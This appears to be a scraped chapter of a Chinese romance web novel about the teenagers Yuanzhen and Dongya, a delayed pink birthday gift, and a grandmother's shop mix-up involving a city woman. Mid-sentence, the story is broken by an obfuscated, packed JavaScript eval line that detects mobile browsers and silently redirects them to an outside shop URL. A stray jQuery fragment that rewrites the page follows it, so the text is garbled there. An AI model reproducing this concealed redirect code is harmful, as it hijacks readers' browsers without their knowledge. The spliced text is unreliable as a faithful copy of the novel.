这些年围绕在远溱身边的女孩只有冬雅。
远溱长时间对着空气发呆会是因为冬雅吗?
冬雅也刚过完十八岁生日。
南境的孩子向来早熟,去年冬雅身边陆陆续续出现了追求者,冬雅的姨妈几天前还炫耀过,冬雅的追求者中就有县城排得上名号家庭的长子,那位送了冬雅昂贵的生日礼物。
每年生日前,冬雅总会缠着远溱给她送生日礼物,但今年冬雅一反常态安静得很,远溱是不是因别人送冬雅昂贵的礼物心里不是滋味了?还是因冬雅不像往年追着他要礼物产生危机感?
虽说远溱对于冬雅每年生日前都会缠着他要礼物不耐烦,但冬雅每年生日当天都能准时收到远溱的生日礼物。
前阵子远溱去了趟市里,次日,历宝珍在给远溱打扫房间时就发现那个粉色盒子。
冬雅从小就喜欢粉色。
昨天那粉色盒子还原封不动躺在远溱书桌上,而冬雅十八岁生日都过去了好几天。
除了冬雅,远溱还从没送过别的女孩东西。
冬雅漂亮且彪悍。
面对暗搓搓想接近远溱的女孩们,冬雅会说“回去照照镜子,如果镜子告诉你,你长得比我好看再来和我谈你喜欢远溱这件事情,还有,如果你认为你比我漂亮也没戏,你比我认识远溱更久吗?你比我更爱远溱吗?”
有胆子大的女孩把冬雅原话搬到远溱面前,面对女孩的试探远溱没给予任何回应,远溱的不回应被理解为远溱默许了冬雅的行为。
“砰”一声打断了历宝珍思路,那是大力踩脚踏板的声响。
远溱骑这车急急往巷子。
看来远溱今天是真遇到烦心事,这件烦心事大到让远溱都拿他的自行车出气了,远溱向来很宝贝他的自行车,下雨宁愿走路去邻村也不愿意骑自行车。
追了上去,问远溱你这是要去哪?
回应她地是空荡荡的巷尾。
远溱每次骑车出门都会和她打招呼的,这次不仅没有,还把自行车踩得飞快。
还好,远溱很快就回来了,说是去试新换的自行车零部件耐力度,因光想着事情忘了和祖母打招呼。
问都在想什么事情。
“学校的事情。”那个孩子淡淡回答。
学校的事情啊……心里偷偷笑,远溱出门那会儿,过来买烟的冬雅爸向历宝珍大吐苦水:冬雅那丫头这几天像吃了火药包,出于关心他就问了句是不是和远溱吵架了,那丫头就冲他喊“别在我面前提历远溱。”
冬雅爸爸总结“不就是没收到远溱的生日礼物吗?”
冬雅这几天像吃了火药包,远溱刚才拿他的自行车出气,对上了。
历宝珍心里嘿嘿笑,明白,理解,刚长大成人,总不能像十几岁时,想说什么就说什么想做什么就做什么,拧巴是这个年纪男孩女孩们的通病。
她就知道,远溱和冬雅迟早会发生点事情。
“冬雅爸刚才来买烟,说出门前冬雅和他吵了一架。”状若不经意地说。
十分钟后,远溱手里提着个塑料袋说是要出去会儿。
塑料袋物件轮廓可以判断里面放的是迟迟没送出的粉色盒子。
“我回来再处理保险丝问题。”远溱边说边往门外走。
话说完,跨出的半只脚硬生生顿在空气里。
远溱又怎么了?
可惜,从历宝珍这个角度只能看到远溱的背影。
顿在空气的半只脚缓缓踩在地面上,另一只脚再跨出,停在门外,没有回头,那个孩子低低唤了声祖母。
也不知为什么,那声“祖母”把她叫得心都揪了起来,那是她养大的孩子,她怎么会听不懂那声“祖母”语气里的无奈和小心翼翼。
“祖母,以后她要是到店里来买橄榄油这类东西,您……您能不能等我回来再做处理。”
远溱都走了好一会儿,历宝珍才把远溱那话想明白。
但也只是想明白而已。
想明白远溱口中那个“她”是指笑起来有个小酒窝的卓小姐,远溱的意思是,以后卓小姐要是再来店里买东西碰到他不在,就让人家等他回来再做应对。
为什么得等他回来再做处理?是怕语言沟通问题?还是……因为大字不识一个的祖母?
虽然到最后,远溱抛下句“祖母,你就当我什么也没说过。”
停在那个L型路口,左拐就是往冬雅家的路,往直就是出村寨的垂直斜坡。
那条垂直斜坡有个紧急刹车时留下的自行车车轮痕迹,依稀间,历远溱看到数小时前的自己,埋头踩着脚踏板,没有方向没有目的沿着眼前延伸的路,直也罢横也好,石头也不必让,车轮碾过一个又一个泥坑,越踩越快,风从耳畔呼啸而过,要不是草丛快速窜出的四脚爬虫,他势必连人带车扎进河里。
冲力下,人车分离,车摔向护栏那边,人跌落在草丛里,如果是平时,他一定第一时间去检查车有没有摔坏,但这次他只是静静躺在那。
穿严重脱胶的球鞋、总迟迟没能缴纳的校服费用、下雨天放学时,学校走廊,那一双双落在他打开的伞的眼睛,祖母缝线手工已经可以和专业人士媲美了,但还是一眼就能看出是由几把伞扇页拼凑而成,这类象征着贫穷的事件都不曾让历远溱产生过一丝一毫窘迫感。
即使新来的老师在众目睽睽下问他为什么不换只不会漏墨水的钢笔?他都能平静回答“等我有了钱就换。”
但为何,那盒“橄榄油”会如此的刺眼。
也不知那位从大都市来的卓小姐往后会不会在和友人聚会时谈起这样一则乌龙事件:某天,她想买瓶用于烹饪的橄榄油,但给到她手里地却是瓶发油。
“我的朋友们,你们想试看看用发油烹饪出的意大利面?”在一片哄笑中,大都市来的小姐满脸抓狂,“我的上帝啊,我怎么能指望在一个连网络、手机信号都没有的小村子里买到橄榄油?我真是个头号笨蛋。”
是啊,在连网络手机信号都没有的山沟村对一位连意大利面是什么都不知道的杂货店店主说“我要买一瓶橄榄油”不是头号笨蛋是什么?
躺在草地上眼睛直直看着天空,喉咙里开始发出类似于笑的声音。
那笑和愉悦无任何关联,它更趋近于窘迫所导致的愤怒,想对那位大都市来的卓小姐说:“你手里拿着的那玩意哪点像摆在大商场货架以中英双语标明出产地、价格的商品?”也想和祖母喊:“看看她穿的衣服,看看她穿的鞋子,那是住在城堡的人,祖母,我拜托你稍稍用下你的脑子,一声‘女士’就让你断定她性子真诚好相处,你比谁都清楚有钱人的脾性,对你的好都是因为新鲜好玩。”
是啊,都是因为新鲜好玩。
坐在连菜单都没有的路边小餐馆边吃饺子边对因至亲住院不知所措的少年吹牛,说见过尼斯湖水怪、委屈巴巴说“我以为我们已经是熟人关系了”仅仅是因新奇感在作祟。
新奇感混合高等教育下自以为是的道德观:看吧,我也和他们能成为朋友。
政要们在接受访谈时总会炫耀他们和司机的友情;提起家里的保姆政要夫人们总对着电视镜头感叹“要是没有她我该怎么办?”。
和那股窘迫感一并让历远溱感到无比烦躁的还有时不时从她口中冒出“高一年级生”。
有过昏倒在路上经验、自以为把药放在巧克力盒子里是件很酷事情、抱起来都不及一打瓶装水重的女人凭什么以那种口吻称他为高一年级生。
何种口吻?
医院门口的水泥路面上,有两组脚步声,一开始,是她走在前面,渐渐地,他跟了上来,并肩走着,日影下,她和他的手是握在一起的,他稍稍一扯,她就距离他近了点,也不知道怎么的,两人距离越拉越近,近到那阵风吹过来,她长长的发从他脸上掠过,柔柔的痒痒的,他闻到了田园的芳香,寻着那芳香似走在不知前方是何方的道路上,迎面过来了个行人,行人看他们的目光……握在一起的手不约而同甩开。
那真是个莫名其妙的下午。
不,不不,是匪夷所思的下午。
那女人叫他高一年级生时的口吻就和她那个下午在毫无任何征兆下忽然握住他手一样轻浮。
看到等在树下的那抹身影,冬雅过去几天几夜囤积下来的委屈瞬间找到决堤口,跑向那个身影,重重地从背后抱住他,怕被推开,扯了一大堆理由“和爸爸吵架了。”“挨妈妈的骂。”“作业总是做不完”到后面连“远溱,我现在在发烧,我脚都要站不住了,远溱,或许我得了绝症”借口都出来了。
这样蹩脚的借口,远溱会信才怪。
可……远溱好像信了她的话,因为……因为远溱没有推开她,远溱任凭她把脸埋在他的背上,任凭她双手如蔓藤般缠住他的腰。
甚至于,她不说话了,远溱还是半点没推开她的意思。
一颗心宛如要跳出胸腔,该不会她从电视剧学到的欲擒故纵法起到作用了吧?
所谓欲擒故纵就是连着几天对远溱爱理不理,让远溱“一不小心”瞧到她和别的男孩正眉来眼去。
差一点,冬雅以为她的欲擒故纵大法要泡汤了,远溱好像一点都不在意她和别的男孩打情骂俏,不仅如此,她十八岁生日过去了好几天,远溱都毫无表示,没和她说生日快乐,也没送她生日礼物,也只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809013|210764||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能鸣鼓收兵,灰溜溜地去了趟远溱家,远溱祖母神秘兮兮说远溱带着个粉色盒子出去了。
粉色盒子?果然,在两人经常见面的地方,冬雅看到了远溱,
急急忙忙去检查远溱的手,真有粉色盒子。
粉色盒子里装的是什么呢?盒里的东西又要送给谁呢?顾不得擦去脸上的泪水,打开盒子,里面放有蔚蓝大海的玻璃球和卡片。
这条路的尽头是河,河水川急,如卡片上写地不是冬雅,而是别的女孩名字,她就跑,跑到那条河前,像她一次次说给那些总找各种各样理由接近远溱女孩们听的那样,往河里纵身一跃。
“当我跳入河里的那刻,远溱就彻彻底底属于我了,而你们,往后要绕着那条河走,当然了,也不是不可以走,如果你们不怕从河里忽然伸出条长长胳膊的话。”一席话让那几个小丫头抱头鼠串。
看吧,就说这个世界没有比她更爱远溱的姑娘了。
疯狂吗?或许吧。
就像妈妈说的,远溱是冬雅的那堵南墙,总有头破血流的一天。
卡片都已经拿在手里了,可却不敢打开,一双眼死死盯着远溱瞅,几天没见,远溱变得更好看了。
不对不对,现在不是欣赏远溱漂亮脸蛋的时候。
冬雅虎着脸。
不愧是和她在妈妈臂弯里一起长大的男孩,远溱说,这是他在市里买给某人十八岁的生日礼物。
某人的十八岁生日礼物可不就是她。
万岁万万岁!
一手高举粉色盒子一手拿着卡片双脚离地,头顶蓝天起跳。
肩并肩慢悠悠走在回去路上,远溱还得回去处理保险丝问题不能在外面多待,冬雅问远溱,为什么没有推开她?
在他和她很小很小的时候,曾经手拉手走过田埂,曾经同吃过一碗饭,他一次次吃掉了妈妈硬往她碗里添的红豆,冬雅是不爱吃红豆的。小小的他和她一起躺在凉席上看星星,她捏一下他耳朵他回给她一次揪头发,大人赶到时,两人已经扭打在一起,偶尔吵架,吵架后在大人的示意下拥抱和好,但渐渐的,渐渐的,不那样了,因为妈妈说冬雅和远溱长大了,不能那样了。
“你不是说你得了绝症吗?”远溱语气淡淡。
切……抿了抿嘴,笑。
冬雅晃动手里的粉色盒子:“那为什么等到今天才送我这个?”
过了会儿,远溱才回答:“我也不清楚。”
“不行,我要你弄清楚,马上。”
远溱做出思考状。
今天的远溱可真好说话,这么看,她的欲擒故纵大法奏效了,心花怒放间冷不防一盆冷水浇了下来。
“我忘了。”远溱说。
“忘了什么?”
“忘了给你买了生日礼物了。”
她呆站于原地,他已经走远。
“历远溱,我要你收回刚才那句话,马上!历远溱,你可听好了,如果你不收回的话,我就……就马上给你表演跳水运动。”顿着脚喊。
三小时后,冬雅分别接受到来自于姨妈恨铁不成钢的瞪眼和妈妈好戏要开始的看客表情。
平日里,那对姐妹总玄玄乎乎的。
作为姐姐的妈妈时不时地提点她,日后势必会在情感路上栽跟头,到时哭闹可以,但要死要活可千万别,再补上“冬雅,妈妈还想多活几年。”
至于自称很会看面相的姨妈——
“冬雅,听姨妈劝,趁现在年轻模样好看,找个有钱爱你的男朋友,然后把他变成听话的丈夫、你孩子眼中了不起的爸爸,姨妈相信你的能力。”
不服气回“远溱以后就是那样,”姨妈大摇其头,气呼呼质问姨妈凭什么看不好她和远溱,姨妈又是一脸神神叨叨天机不可泄露模样。
很快,冬雅就知道妈妈和姨妈为什么会那样了。
摆碗筷时,安娜公主气势汹汹找上门。
安娜公主本名安娜,是管事嫁到县城的女儿的千金,自认为长得比别的女孩好看、比别的女孩聪明被叫安娜公主理所当然。
去年,安娜公主到外公家做客迷上了远溱哥哥,那之后,一有机会就往外公家跑。
安娜公主进门第一句话就是:“听说你和远溱哥哥抱在一起了?”
呃……消息怎么传得这么快?冬雅嘴里虽然满腹牢骚但心里高兴得很。
不仅安娜知道她和远溱抱在一起,爸爸也是知情者之一。
好巧不巧,她抱远溱时被木云嘎妈妈看到了,木云噶妈妈就把这事情告诉了木云噶弟弟,木云噶弟弟是个大嘴巴。
爸爸说现在整个槊山的人都知道远溱和冬雅抱上了。